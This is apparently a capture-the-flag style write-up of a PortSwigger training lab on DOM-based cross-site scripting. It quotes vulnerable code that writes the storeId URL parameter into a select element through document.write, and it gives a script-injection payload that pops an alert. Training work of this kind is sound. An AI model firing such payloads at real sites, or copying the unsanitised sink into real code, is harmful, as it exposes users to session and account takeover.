Lab: DOM XSS in document.write sink using source location.search inside a select element

tags: Portswigger Web Security Academy Web

• Description: This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
• Goal: To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

Recon

1. Find the injection place I used string search to find location.search in each sub-page source. Here is the interesting code: :::spoiler Source Code

    ...
    <script>
        var stores = ["London","Paris","Milan"];
        var store = (new URLSearchParams(window.location.search)).get('storeId');
        document.write('<select name="storeId">');
        if(store) {
            document.write('<option selected>'+store+'</option>');
        }
        for(var i=0;i<stores.length;i++) {
            if(stores[i] === store) {
                continue;
            }
            document.write('<option>'+stores[i]+'</option>');
        }
        document.write('</select>');
    </script>
    ...
   

   :::

2. Try type something about storeID as URL GET parameter Payload: /product?productId=1&storeId=abc You can see that this is a perfect injection place

Exp

Payload: /product?productId=1&storeId=<script>alert(123);</script> :::spoiler Success Screenshot :::

Reference